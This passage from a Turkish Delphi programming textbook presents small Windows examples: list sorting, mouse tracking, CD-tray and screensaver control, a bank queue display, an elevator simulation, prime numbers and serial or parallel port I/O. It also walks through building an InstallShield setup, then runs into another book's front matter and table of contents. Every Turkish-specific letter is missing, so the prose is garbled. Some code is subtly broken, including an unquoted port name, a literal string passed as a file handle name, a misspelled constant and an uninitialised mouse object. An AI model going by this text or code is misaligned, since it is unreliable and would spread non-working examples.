ayet A dan Z ye doru bir sralatma yaptrmak isterseniz o zaman kodun aada verilen ksmnda, karlatrma iaretinin ynn deitirmelisiniz. satir:=PChar(ListBox1.Items[i]); for j:=0 to adet-1 do begin deger:=PChar(ListBox1.Items[j]); for k:=0 to Length(ListBox1.items[j]) do begin if ord(satir^)<ord(deger^) Then//buradaki iaretin yn deitirin begin yenideger:=ListBox1.Items[i]; ListBox1.Items[i]:=ListBox1.Items[j]; ListBox1.Items[j]:=yenideger; satir:=PChar(ListBox1.Items[i]); break; end else if ord(satir^)>ord(deger^) Then//buradaki iaretin yn deiti begin satir:=PChar(ListBox1.Items[i]); break; end else begin inc(deger); inc(satir); end; end;

785

Uygulama 23: Bu rneimiz Mous ile ilgili olacak. Uygulamamzda Mousun hareket anndaki koordinatlarn balkta yazdracaz.

procedure TForm2.Timer1Timer(Sender: TObject); var yatay,dikey:Integer; fare:TMouse; yataydeger,dikeydeger:AnsiString; begin yatay:=fare.CursorPos.X;//yatay deer dikey:=fare.CursorPos.Y;//dikey deer yataydeger:=IntToStr(yatay); dikeydeger:=IntToStr(dikey); Form2.Caption:='u Anki Mous Koordinatlar= '+yataydeger+'/'+dikeydeger; end; Program altrdktan sonra mousunuzu formun zerinde hareket ettirin. Cursorun bulunduu koordinatlar balkta gzkecektir. Uygulama 24: Bu uygulamamzda ama CD Rom kapan program ierisinden ap kapatmak. Aslda kodlama asndan yaplan fazla bir ey yok ama yinede ilginizi ekecektir. CD Rom la ilgili bu ilemi gerekletirebilmeniz iin MMSystem ktphanesini muhakkak uses satrna eklemelisiniz. ncelikle aadaki form tasarmn oluturunuz. Ardndan verilen kodlar gerekli yordamlara ekleyiniz. 786

procedure TForm3.Button2Click(Sender: TObject); //A begin mciSendString('Set cdaudio door open',Nil,0,0); end; procedure TForm3.Button1Click(Sender: TObject); //Kapat begin mciSendString('Set cdaudio door closed',Nil,0,0); end;

Program altrdktan sonra iki dmeye arka arkaya basn. CD-Rom cihaznn alp kapandn greceksiniz. Uygulama 25: Bu uygulamamzda Windows ta tanmlanm bir ekran koyuyucuyu nasl aktif hale getirebileceinizi gstermek istiyorum. Aadaki kodu gerekli yordama ekleyiniz. procedure TForm3.Button3Click(Sender: TObject); //Screen begin
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_SCREENSAVE,0);

end; Program altrp dmeye tklayn. Ekran koruyucunuz hemen devreye girecektir. Daha nceden Windows ta bir ekran koruyucu belirtmeyi unutmaynz.

787

Bu kod sadece var olan ve Windows a gsterilmi olan bir ekran koruyucuyu devreye sokmak iin kullanlabilir. ayet olmayan bir ekran koruyucu yaratmak isterseniz baka system kodlarndan faydalanmalsnz. Uygulama 26: Bu uygulamamzda neredeyse tm bankalarda kullanlmaya balanan Qmatik programnn bilgisayar kodunu vereceim. Son derece basit olan bu yazlm sayesinde firmalarn astronomik miktarda para kazandklarna aracaksnz. (tabi basit bir elektronik iletiim ile beraber). Aadaki form tasarmn oluturunuz.

Programa ait Unit kodlar aada verilmitir. var numara:Integer=0;//sra numarasn tutmak iin tanmland procedure TForm1.FormCreate(Sender: TObject); begin Panel2.Caption:='0'; Panel3.Caption:=''; Timer1.Enabled:=false; Timer2.Enabled:=false; Timer3.Enabled:=false; end; procedure TForm1.Timer1Timer(Sender: TObject); {$j+} const yon:Boolean=false; 788

begin if yon=false Then begin BitBtn1.Caption:=''; yon:=true; end else begin BitBtn1.Caption:='Masa1'; yon:=false; end end; procedure TForm1.BitBtn1Click(Sender: TObject); begin Timer1.Enabled:=true; Timer2.Enabled:=false; Timer3.Enabled:=false; inc(numara); Panel2.Caption:=IntToStr(numara); Panel3.Caption:='Masa1'; BitBtn2.Caption:='Masa2'; BitBtn3.Caption:='Masa3'; end; procedure TForm1.BitBtn2Click(Sender: TObject); begin Timer1.Enabled:=false; Timer2.Enabled:=true; Timer3.Enabled:=false; inc(numara); Panel2.Caption:=IntToStr(numara); Panel3.Caption:='Masa2'; BitBtn1.Caption:='Masa1'; BitBtn3.Caption:='Masa3'; end; procedure TForm1.BitBtn3Click(Sender: TObject); begin Timer1.Enabled:=false; Timer2.Enabled:=false; Timer3.Enabled:=true; inc(numara); Panel2.Caption:=IntToStr(numara); Panel3.Caption:='Masa3';

789

BitBtn2.Caption:='Masa2'; BitBtn1.Caption:='Masa1'; end; procedure TForm1.Timer2Timer(Sender: TObject); {$j+} const yon:Boolean=false; begin if yon=false Then begin BitBtn2.Caption:=''; yon:=true; end else begin BitBtn2.Caption:='Masa2'; yon:=false; end end; procedure TForm1.Timer3Timer(Sender: TObject); {$j+} const yon:Boolean=false; begin if yon=false Then begin BitBtn3.Caption:=''; yon:=true; end else begin BitBtn3.Caption:='Masa3'; yon:=false; end end; Program altrdktan sonra Masa dmelerinden herhangi bir tanesine tklayn. Aynen bankalardaki sisteme benzer bir durum izleyeceksiniz. Mteriyi aran masann etiketi yanp snerek, kiiyi doru masaya doru ynlendirecektir.

790

Uygulama 27: Bu uygulamada Binalarda kullanlan asansrlerin ierisindeki chipe ait yazlm vereceim. ncelikle aadaki tasarm oluturunuz.

Aadaki kodlarda Unit pencerenizdeki ilgili yordamlara ekleyiniz. procedure TForm2.FormCreate(Sender: TObject); //Ayarla begin Shape1.Top:=360; Shape2.Top:=300; Shape3.Top:=240; Shape4.Top:=180; Shape5.Top:=120; Shape6.Top:=60; Timer1.Enabled:=false; Timer2.Enabled:=false; end; 791

procedure ata();//siz tanmlayn begin Form2.RadioButton2.Enabled:=true; Form2.RadioButton3.Enabled:=true; Form2. RadioButton4.Enabled:=true; Form2.RadioButton5.Enabled:=true; Form2. RadioButton6.Enabled:=true; Form2.RadioButton1.Enabled:=true; Form2.RadioButton7.Enabled:=true; end; procedure TForm2.RadioButton1Click(Sender: TObject); begin if Panel1.Top<384 Then begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end; end; procedure TForm2.RadioButton2Click(Sender: TObject); begin if Panel1.Top<360-Panel1.height Then begin Timer1.Enabled:=True; RadioButton1.Enabled:=False; RadioButton3.Enabled:=False; 792

RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton1.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end end; procedure TForm2.RadioButton3Click(Sender: TObject); begin if Panel1.Top<300-Panel1.height Then begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton1.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; RadioButton1.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end end; procedure TForm2.RadioButton4Click(Sender: TObject); begin if Panel1.Top<240-Panel1.height Then 793

begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton1.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton1.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end end; procedure TForm2.RadioButton5Click(Sender: TObject); begin if Panel1.Top<180-Panel1.height Then begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton1.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton1.Enabled:=False; RadioButton6.Enabled:=False; RadioButton7.Enabled:=False; end 794

end; procedure TForm2.RadioButton6Click(Sender: TObject); begin if Panel1.Top<120-Panel1.height Then begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton1.Enabled:=False; RadioButton7.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton1.Enabled:=False; RadioButton7.Enabled:=False; end end; procedure TForm2.RadioButton7Click(Sender: TObject); begin if Panel1.Top<60-Panel1.height Then begin Timer1.Enabled:=True; RadioButton2.Enabled:=False; RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton1.Enabled:=False; end else begin Timer2.Enabled:=true; RadioButton2.Enabled:=False; 795

RadioButton3.Enabled:=False; RadioButton4.Enabled:=False; RadioButton5.Enabled:=False; RadioButton6.Enabled:=False; RadioButton1.Enabled:=False; end end; procedure TForm2.Timer1Timer(Sender: TObject); begin Panel1.Top:=Panel1.Top+1; if RadioButton1.Checked and (Panel1.Top>384) Then begin Timer1.Enabled:=false; ata; end else if RadioButton2.Checked and (Panel1.Top>=360-Panel1.height) Then begin Timer1.Enabled:=false; ata; end else if RadioButton3.Checked and (Panel1.Top>=300-Panel1.height) Then begin Timer1.Enabled:=false; ata; end else if RadioButton4.Checked and (Panel1.Top>=240-Panel1.height) Then begin Timer1.Enabled:=false; ata; end else if RadioButton5.Checked and (Panel1.Top>=180-Panel1.height) Then begin Timer1.Enabled:=false; ata; end else if RadioButton6.Checked and (Panel1.Top>=120-Panel1.height) Then begin Timer1.Enabled:=false; ata; end else if RadioButton7.Checked and (Panel1.Top>=60-Panel1.height) Then begin 796

Timer1.Enabled:=false; ata; end; end; procedure TForm2.Timer2Timer(Sender: TObject); begin Panel1.Top:=Panel1.Top-1; if RadioButton1.Checked and (Panel1.Top>=384) Then begin Timer2.Enabled:=false; ata; end else if RadioButton2.Checked and (Panel1.Top<360-Panel1.height) Then begin Timer2.Enabled:=false; ata; end else if RadioButton3.Checked and (Panel1.Top<300-Panel1.height) Then begin Timer2.Enabled:=false; ata; end else if RadioButton4.Checked and (Panel1.Top<240-Panel1.height) Then begin Timer2.Enabled:=false; ata; end else if RadioButton5.Checked and (Panel1.Top<180-Panel1.height) Then begin Timer2.Enabled:=false; ata; end else if RadioButton6.Checked and (Panel1.Top<120-Panel1.height) Then begin Timer2.Enabled:=false; ata; end else if RadioButton7.Checked and (Panel1.Top<60-Panel1.height) Then begin Timer2.Enabled:=false; ata;//prosedr ilet end; 797

end; Program altrp herhangi bir katn dmesini aktif hale getirin. Ekran grntnz aadaki ekilde gerekleecektir.

Uygulama 28: Aadaki uygulamada girilen iki say arasndaki asal saylar hesaplanp ListBox ierisine aktarlmaktadr.

798

Uygulamaya ait kod penceresi aada verilmektedir. Uygun olan yordamlara ekleyiniz.

procedure TForm3.Button1Click(Sender: TObject); //Asal Saylar Bul var ilk,son,sayi,i,j:Integer; sonuc:Double; yon:Boolean; begin ilk:=StrToInt(InputBox('Sayy Giriniz','Say','5')); son:=StrToInt(InputBox('Sayy Giriniz','Say','25')); if ilk>son Then begin sayi:=ilk; ilk:=son; son:=sayi; end; for i:=ilk to son do begin for j:=2 to i-1 do begin yon:=false; sonuc:=i/j; if ceil(sonuc)=floor(sonuc) Then begin yon:=true; break; end; end; if yon=false Then ListBox1.items.Add(IntToStr(i)); end; end; Uygulama 29: Bu uygulamada LPT1-COM1-COM2-COM3 portlarna nasl veri gnderebileceinizi, ayrca porttan ticari cihazlar tarafndan gnderilen ierikleri nasl okuyabileceinizi gstereceim.

799

Gndereceiniz ierik ticari bir cihaz olabilecei gibi, printer modem ethernet kart da olabilir. Ticari cihazlar genellikle sistem cihazlar tarafndan kullanlmayan COM3 portunu kullanrlar (Barkod cihazlar, yazar kasa vs). Delphi iin portun paralel (hzl) veya seri (yava) olmas nem arz etmez isimlerini deitirerek dier portlarada kolayca balanabilmekteyiz. imdi sizlere hem yazdrma hemde okuyma ilemi iin kullanabileceiniz kodlar vereceim. lk olrak porta veri yollamak iin aadaki kod blounu kullanabilirsiniz. var x:THandle; procedure TForm1.Button1Click(Sender: TObject); //LPT1 Portuna yolla var isim:array[0..4] of char; veri:string; miktar:dword; evet:boolean; begin strcopy(isim,'LPT1');//yazdrlacak port ismi belirlendi veri:='Prestige Educatin Center'; x:=CreateFile(isim,GENERIC_WRITE ,0,nil,OPEN_EXISTING,0,0); //porta yazmak iin oluturuluyor if x<>1 then //sorun yoksa evet:=WriteFile(x,veri,length(veri),miktar,nil);//veri deikenini yazdr. if not evet then//Yazdrmada hata oluursa showmessage('Herhangi Bir Sebepten Dolay Yazlamyor'); end; ayet LPT1 Portuna bal bir yazcnz varsa ierik sayfaya dklebilecektir. Uygulama 30: Bu uygulamada da porta gelen veriyi nasl okuyup deikene alabileceinizi gstermek istiyorum. procedure TForm1.Timer1Timer(Sender: TObject); var evet:boolean; j:integer; veri:String; dizi:array[0..10] of char; 800

s:string; miktar:dword; x:thandle; ad:Array[0..10] of char; begin strcopy(ad,COM3);//okunacak portu belirle //Okunacak olan portu brelirle x:=createfile('ad',GENERIC_READ,0,nil,OPEN_EXISTING,0,0); //okuma modunda olutur evet:=ReadFile(x,dizi,sizeof(dizi),miktar,nil); //porttan oku for j:=0 to miktar do begin edit1.Text:=edit1.Text+dizi[j]; end; end; Aada porttan okuma veya, porta yazdrma ilemleri iin kullanlan fonksiyonlar tablo halinde verilmitir.
Fonksiyon CreateFile WriteFile ReadFile Sonu Yazdrma ve ya Okuma ilemi iin port belirler CreateFile ile belirlenen porta yazdrma ilemi yapar CreateFile ile belirlenen porttan okuma ilemi yapar

CreateFile Fonksiyonu ierisindeki birinci parametre yazdrma veya okuma ileminin yaplaca portu, ikinci parametre ise ne tr bir ilemin yaplacan (okuma, yazma, her ikisi) belirler. Aada seenekleri verilmitir.
Parametre GENERIC_READ GENERIC_WRITE GEBERIC_ALL Sadece Okuma Sadece Yazma Hepsi Sonu

Uyar:Porta yazdrma veya porttan veri okutma ilemleri ile ilgili ok daha fazla detay bu kitabn hemen ardndan karacam DELPHI ile VERTABANI ve NETWORK isimli kitapta bulabilirsiniz (Bilhassa trojan larn portlar nasl kullanabildikleri ne dair ayrntlara girilmektedir).

801

BLM 22 SETUP PROJES OLUTURMAK

802

803

Setup Projesi Oluturmak: Oluturduunuz projeyi baka bilgisaylarda altrmak iin setup dosyas haline getirmeli, die bilgisayarlara oradan ykleme yapmalsnz. Aksi takdirde bilhassa ierisinde BDE uygulamalar olan projeler iin bir ok hata mesajyla karlaacaksnz. Bu blmde sizlere Delphi projelerinin setup dosyalarn nasl oluturabileceinizi gstereceim. Setup dosyas oluturmak iin Delphi CD si ierisinde bulunan InstallShield Express yazlmn kurmanz gerekecektir. Aada pencere gsterilmektedir.

InstallShield Express yazlmn kurduktan sonra Windows un Start mensne aadaki ekilde eklenmi olmas gerekecektir.

imdi yukardaki admlar izleyerek InstalShieeld->Expres uygulamasn balatnz. 804

Karnza aadaki pencere alacaktr. Bu pencerede daha nceden hazrlam olduunuz bir setup projesi varsa ve onu amak istiyorsanz Open a Project seeneini, yeni batan bir setup dosyas oluturacaksanz Create a new Project linkine tklamalsnz.

Biz yeni batan bir setup dosyas oluturacamz iin Create a new Project seeneini seerek aadaki pencerenin almasn saladk.

Alan yukardaki pencerede Blank Setup Project iconunu seip Project Name and Location kutusuna Setup dosyanz kaydedeceiniz klasr belirleyin (Herhangi bir klasr olabilir). 805

Ardndan projenizin isminide deitirerek (your project name-1) projenize uygun istediiniz bir ismi verebilirsiniz.

Artk Create buttonuna tklayabilirsiniz. Oluturacanz setup dosyasn belirttiiniz klasrn ierisine kaydedecektir.

806

Yukarda gsterilen hcrelere uygun alan deerleri girerek bir sonraki adma geimiz (Bu hcre deerlerine General Information Seeneine tklarsanz eriebilirsiniz.). Bu admda Setup Types seeneini aktif hale geirip programnzn kurulum seeneklerini belirleyebilirsiniz. Delphi sizlere kurulum iin ayr seenek sunmaktadr (Typical-Minimal-Custom) Dilediinizi veya hepsini beraber seebilirsiniz.

Eer tm seenekleri seerek dier admlara geerseniz herbiri iin kurulmas gereken dosyalar ayr ayr belirlemek durumunda kalrsnz (Genellikle ok byk uygulamalar iin gerekli olabilecek bir seenektir). Yukardaki seeneklerden Typical olan seip dier admlara geiyoruz. Bu admda Specify Application Data blmn aktifletirin. Yukarda semi olduunuz kurulumlara ait kullanlacak olan dosya ve klasrlerin tamamn buradan ayarlamalsnz. En st blmden Allways seeneini sein (Sadece Typical iaretli ise dierleri gzkmeyecektir), kurulmas zorunlu olan dosyalar bu blmde yer alan Destination Computers files ksmna ekleyin. INSTALLDIR aktivken projenize ait exe dosyasn, DATABASEDIR aktifkende uygulamanzn kullanaca veritaban dosyalarn ekleyin.

807

Pencerenize ait en son ekran grnts aada verilmitir.

Kurulumunuz gerekli dosyalar belirledikten sonra Object/Merge blmne geerek ayet varsa BDE ayarlarn yapalm. DataBase Desktop la oluturulan bir veritaban balantnz varsa imdiki blmde muhakkak bu ilemi yapmanz gerekecektir. Hatrlatalm sayet bir ADO kontrol kullanarak Microsoft rnlerine veya dier veritaban uygulamalarna balant kurduysanz yine bu ilemi uygulamak zorundasnz. Aksi takdirde setup dosyanz dier bilgisayarlara yklediinizde tablolarn bulunamadna dair ok skc uyarlarla karlaacaksnz. Programnzda kullanabileceiniz tm veritaban seeneklerini InstallShield Object/Merge Modules ksmnda bulabilirsiniz. Yapmanz gereken tek ey bu seenein iaret dmesini aktifletirmekten ibaret olacaktr. Aadaki ekran grnts Object/Merge Modules seenei iaretlendikten sonra alnmtr. Uygulamamzda sadece BDE Veritaban tablolarndan

808

bulunduu iin, InstallShield Object/Merge Modules ksmndan BDE_ENT seenek dmesini aktif hale geirin.

Karnza Welcome to the BDE Object Wizard penceresi alacak, Delphi sizleri ynlendirecektir. Next dmesine tklayn.

Bu pencereden programnza belirleyebilirsiniz.

ait

ayar

dosyalarnn

tutulaca

bir

dosya

809

Next dmesine tklayarak dier pencereye geebilirsiniz. Yeni pencereden BDE uygulamalar iin yeni bir dosya oluturacamz iin Launch dmesine tklayn. Aadaki pencere alacaktr.

Bu pencerede Add dmesine tklayarak uygulama ierisinde kullandnz Alias isimlerini belirleyin. Karnza aadaki pencere alacaktr.

Alias Name ksmnda programnzn kulland tm Alias lar seerek uygulamanza ekleyin. Hatrlatalm setup projenizi yklediiniz bilgisayarlar bu alias isimlerini kullanarak tablolarnza balanabilecektir. Bu yzden tm client bilgisayarlarda Alias ayarlarn teker teker yapmak zorundasnz. Aksi takdirde yine balant salanamadna dair sinir bozucu uyarlar alrsnz. 810

Next ve Finish dmelerine tamamlanmasn salaynz.

tklayarak

Wizard

ileminizin

Gelelim Configure The Target System blmne, bu ksm, setup projeniz dier bilgisayara kurulurken oluturaca ksayollar belirlemenizi salayacaktr.

Yukardaki pencerede Program Files altna ve Desktop zerinde iki adet ksa yolun oluturulmas salanmaktadr. Ayn mantkla ayet Registry ye kayt yaptracaksanz Registy blmne gerekli eklentileri yapmalsnz. Uygulamanza ait tm setup ayarlarn tamamladktan sonra derlenmesi ilemini balatabilirsiniz. Bu ilem iin Prepare for Release seeneini seerek, bir alt klasrnde gsterilen Build Your Release penceresinin aktiflemesini salayn. Aadaki pencere alacaktr. Bu pencereden setup dosyasn oluturacanz media cihazn belirlemenizi isteyecektir. CD ROM veya DVD ROM seeneklerinin herbiri burada mevcuttur. Birden fazla DVD ROM gsterilmesinin sebebi kapasite farkndan kaynaklanmaktadr. Sa ksmda yer alan ykleme seeneini seerek, mous ile zerinde sa tua tklaynz. Alan menden Build sekmesine tklayarak uygulamanzn derlenmesini salaynz. Derlenme annda en altta yer alan pencere sayesinde yaplan tm ilemleri detayl olarak izleme imkanna sahip olacaksnz. ayet bu pencerede herhangi bir hata mesaj almazsanz uygulamanzn dzgn bir ekilde Compile edilmi olduu anlamn karabilirsiniz. 811

Uygulamanzn Compile edilmi halinden sonraki ekran grnts aada verilmitir.

Setup Projesinin Dier Bilgisayarlara Yklenmesi: Derlemi olduunuz projeyi dier bilgisayarlara ykleyebilmek iin aadaki admlar izlemelisiniz. Setup projesini oluturduunuz klasr an (CD ROM ). Setup Dosyanz ierisinde aadaki ekilde gzkecektir.

TeknikServis2003 (vermi olduunuz ismi) klasr zerinde mous ile ift tklayn. Aadaki admlar izleyin. 812

....Teknikservis2003\Express\cd_rom\DiskImages\Disk1\setup.exe Setup.exe dosyasn altrp gerekli admlar izledikten sonra programnz o bilgisayara yklenmi olacaktr. Star->Program Files seeneklerini izlerseniz aadaki ekilde bir grnt elde edersiniz.

Ayn zamanda Desktop zerinde Migros isimli ksayolu oluturduuna da dikkatinizi ekmek istiyorum. imdi Start->Program Files->Migros->Teknik 2003 admlarn izleyerek uygulamanz altrnz.

Program altrdktan gerekleecektir.

sonraki

ekran

grntnz

yukardaki

ekilde

813

II

ZRVEDEK BEYNLER

Nihat DEMRL

Yksel NAN

Yaynlar

Kitap Yazarlar Nihat DEMRL MCP-MCSE-MCDBA-MCSD-MCAD nihadd@prestigeturk.com M. Yksel NAN MCP-MCP+INT-MCSA-MCSE-MCDBA-MCSD-MCT-MCAD yuksel@yukselinan.com Teknik Editr Sibel YANAR MCP-MCSE ISBN: 975-92267-4-X Prestie Education Center Merkez Halitaa Cd. Kvan Sok. No: 1/5 Kadky/STANBUL Tel: 0216. 330 06 50 (pbx) 0216. 449 54 78 0216. 345 71 75 Fax: 0216. 345 71 75 ube Gazi niversitesi Mhendislik-Mimarlk Fakltesi Maltepe / ANKARA Tel: 0312. 231 74 00 / 1031 (Dahili) mail: prestige@prestigeturk.com web: www.prestigeturk.com Yayna Hazrlayan Kapak Selman Ali METN Bask mit Ofset Matbaaclk Byk Sanayi 1. Cad. 107/32-39-40-54 skitler / ANKARA Tel: 0312. 384 26 27 384 17 07 Ankara, 2003
Kitabn tm haklar Prestij Biliim Eitim-retim Turizm Hiz. Tic. Ltd. ti.ne aittir. zinsiz olarak ksmen veya tamamen kullanlmas, kopyalanmas ve oaltlmas yasaktr.

IV

NSZ

Zirvedeki Beyinler serisine ait altnc kitabmzla karnzdayz. lgi, alaka, beeni ve eletirileriniz iin teekkrlerimizi sunmay bir bor bilmekteyiz. Serimizde yer alan Delphi kitaplarnn ikincisini okumaktasnz. Veri Taban ve Network hususunda kullanlabilecek gelimi kodlara yer vermeye, zorlandnz hususlarda sizleri bilgilendirmeye altk. Gnderdiiniz e-mailler bizlere atacamz admlar konususnda fazlasyla yardmc olmaktadr, bu yzden ayn ilgi ve alaka ile isteklerinizi bizlere bildirme alkanlnzn devam etmesini istiyoruz. Serimizin bir sonraki kitab Windows 2003 Server olacaktr. Her ne kadar yazlm ile ilgili olmasa da network hususunda derinlemesine bilgi edinmenizi salayacana inanyoruz. Btn Hayallerinizin Geree Dnmesi Dileiyle................

Sibel YANAR Teknik Editr

VI

TEEKKR niversitemize bal olarak alan Prestige firmasnn niversitemiz bnyesinde rencilerimize ve akademik personelimize salad eitim olanaklar ve yapt almalar iin Sayn Nihat DEMRL ve Yksel NANa teekkr ederim.

Prof. Dr. Hsn CAN G.. Mh.-Mim. Fak. DEKANI

TEEKKR Bakm-onarm ilerimizin bilgisayar ortamnda dosyalama ve takibi ile ilgili program almasna yapt yardm iin Sayn Nihat DEMRL ve Yksel NANa teekkr ederim.

T. KARLIDA Migros Trk T.A.. n. Emlak Md.

IX

TEEKKR Bankamz Gvenlik Sistemleri ve Kredi Kart Uygulama almalarna ynelik yazlm+danmanlk hizmetlerinden dolay Nihat DEMRL ve Yksel NANa teekkr ederiz.

Burak AKTA INTERBANK n. Emlak Md.

XII

NDEKLER BLM 1 BDE UYGULAMALARI...................................................................................... 1 Veri Taban Uygulamalar ......................................................................... 3 BDE Kontrolleri .......................................................................................... 4 Table Kontrol .................................................................................. 4 Query Kontrol ................................................................................. 4 StoredProc Kontrol ........................................................................ 4 Database Kontrol ............................................................................ 5 Paradox Tablolarna Balant.................................................................... 5 Alias Tanmlamak ....................................................................................... 5 Paradoxta Tablo Oluturmak................................................................... 7 Tablo Yapsnda Deiiklik Yapmak ........................................................ 9 DataBase Destop Kullanarak Tabloya Kayt Girmek .......................... 9 Uygulamanzdan Paradox Tablolarna Balanmak ................................ 10 Resimli veya CheckBox eren Tablo Stunlaryla Balant ................. 11 Wizard Kullanarak Veri Tabanna Balanmak ...................................... 11 DBNavigator Kontrol ..................................................................... 15 DBNavigator Kontrol in Tklanan Dmeye Kod Yazmak .... 17 Kaytlar DataGrid Nesnesinde Gstermek.............................................. 19 Kayt lemlerini Kodla Yapmak .............................................................. 20 Balant lemlerinin Kodla Yapmak ....................................................... 22 Veri Tabannda Olmayan Stunlar Yaratmak........................................ 30 Yaratlan Stun Deerlerini Tablonuzda Hesaplatmak ......................... 33 DataGrid Kontrolne Ait zellikler ......................................................... 34 DataGrid Kontrolne Ait Stun Balklarn Belirlemek............. 35 DataGrid Stun Balklarnn Ortalanmas................................... 36 DataGrid Stun Geniliklerini Ayarlamak .................................... 37 DataGrid Stunlarn ReadOnly Yapmak ..................................... 37 DataGrid Sutununu ComboBox eklinde Kullanmak.................. 37 DataGrid Kontrolne Ait Stun Balklarn Renklendirmek..... 38 DataGrid Stunlarn Renklendirmek............................................ 38 DataGrid Font Ayarlar ................................................................... 38 DataGrid Kontrolnde e Yaramayan Stunlar Gizlemek ....... 39 DataGrid Kontrolnde Stun Balklarn Gizlemek ................... 40 Aktif Kayttaki Satr ve Stun Deerlerine Ulamak.................... 41 DataGrid Nesnesindeki Toplam Satr Saysn Hesaplamak........ 41 DataGrid Nesnesi erisinde Sutuna Ait lem Yaptrmak .......... 42 DataGrid Nesnesine Ait Yordamlar................................................ 43 Kayt Filtreleme lemleri .......................................................................... 46 Filtrelenmi Kaytlar Arasnda Gezinmek ............................................... 49

Filtreli Kaytlarda Bir Sonrakini Git ........................................................ 49 Filtreli Kaytlarda Bir ncekine Git......................................................... 50 Filtreli Kaytlarda lk Kayda Git .............................................................. 50 Filtreli Kaytlarda Son Kayda Git............................................................. 50 Tarih Aralna Gre Filtre Uygulamak................................................... 50 Secondary Index Tanmlamak................................................................... 50 Parasal Arala Gre Filtre Uygulamak................................................... 53 Kayt Arama lemleri ................................................................................ 56 Locate Methodu ................................................................................ 56 Birden Fazla Stuna Gre Arama Yaptrmak .............................. 58 SetKey-GotoKey Methodlar ........................................................... 59 SetKey-GotoNearest Methodlar ..................................................... 60 Lookup Methodu............................................................................... 61 Transaction lemi....................................................................................... 63 Database Kontrol ............................................................................ 63 Query Kontrol ................................................................................. 69 Query Kontrolne Ait Yordamlar .................................................. 72 Wizard Kullanarak Query Kontrolyle Tabloya Balanmak ..... 74 BLM 2 STANDART SQL KOMUTLARI ....................................................................... 75 SQL Komutlar............................................................................................ 77 Tm Kaytlar Listelemek ................................................................ 77 Sadece stenilen Stunlar Listelemek ............................................ 78 Yeni Stun Balklar Belirlemek.................................................... 79 Yeni Stun Eklemek ......................................................................... 79 Sralama Yapmak (Order By) ......................................................... 80 Ayn Kayd Birkere Listelemek(Distinct) ....................................... 82 Matematiksel Sorgu Komutlar ................................................................. 83 Stundaki En Yksek Deeri Hesaplamak(Max).......................... 83 Stundaki En Kk Deeri Bulmak(Min) ................................... 84 Stun Toplamn Bulmak(Sum) ...................................................... 85 Stun Ortalamasn Hesaplatmak(Avg) ......................................... 86 Kayt Saysn Bulmak(Count)......................................................... 86 Gruplandrma Yapmak(Group By) ................................................ 87 Gruplandrlm Stunlara Koul Koymak(Having) .................... 88 Sorguya Koul Koymak(Where) ..................................................... 89 Ayn Anda Birden Fazla Koulu Salamak(In) ............................. 90 Ayn Anda Birden Fazla artn Salanmamas(Not In) ............... 91 artlardan Sadece Bir Tanesinin Yeterli Olmas(Or)................... 92 Aralk Sorgulamak(Between) .......................................................... 93 e Select fadesi Kullanmak ....................................................... 94 XIV

Stun erisinde Arama Yapmak(Like) ......................................... 95 ki Tabloyu Ayn Anda Sorgulamak ......................................................... 97 Inner Join Komutu le Koul Koymak ........................................... 98 Outer Join Komutu le Koul Koymak .......................................... 99 Union Komutunu Kullanarak Tablolar Birletirmek.................. 101 Tablo Yapsnda Deiiklik Yapan Sorgular............................................ 102 UpdateSQL Kontrol ....................................................................... 102 Sorguyla Kayt Silmek(Delete) ........................................................ 103 Sorguyla Tabloya Kayt Eklemek ................................................... 106 Query Kontrolne Parametre Deeri Gndermek.................................. 112 Parametre Olarak Tarih erikli Deiken Kullanmak................ 115 Parametre Olarak Parasal erikli Deiken Kullanmak............. 116 Birden Fazla Parametre Deeri Gndermek ................................. 117 Opsiyonel Parametreli Sorgu Oluturmak..................................... 118 Parametreyi Like Komutuyla Beraber Kullanmak .................. 120 BLM 3 TABLOLAR ARASI LKLENDRME ......................................................... 121 Birden Fazla Tablo le almak............................................................... 123 Master Detail Form Yapsn Manuel Oluturmak ................................. 127 Master-Detail Tablolarda Kayt Arama lemleri ................................... 128 Lookup lemleri ......................................................................................... 130 DBLookupComboBox Kontrol...................................................... 130 DBLookupListBox Kontrol ........................................................... 134 Tabloda Lookup Stunlar Yaratmak ............................................ 136 BLM 4 GARAFK ZDRMEK ..................................................................................... 141 Tablo Kaytlarn Grafikte Gstermek ..................................................... 143 